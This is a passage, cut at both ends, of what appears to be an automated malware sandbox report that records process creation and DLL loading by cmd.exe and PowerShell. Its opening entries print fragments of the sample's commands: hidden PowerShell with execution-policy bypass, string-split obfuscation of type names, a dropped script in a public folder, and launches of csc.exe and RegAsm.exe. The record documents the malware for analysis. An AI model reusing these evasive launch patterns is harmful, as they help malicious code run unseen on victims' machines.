/c "%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd" 1dtoE2WDXh9" - (UID: 00000000-00003236) "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::R" - (UID: 00000000-00004252), "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -nop -ep bypass -f "%PUBLIC%\28750q24813.ps1"" - (UID: 00000000-00004252), "cmd.exe" called "CreateProcessW" with parameter "ping -n 8 127.0.0.1" - (UID: 00000000-00004252), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\nlyjs020\nlyj" - (UID: 00000000-00002684) "powershell.exe" called "CreateProcessW" with parameter "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" - (UID: 00000000-00002684)42:Tc716,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006840) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168#\6266e450a9fd72d28c585220de1f4515\Microsoft.Management.Infrastr (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00003236) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter 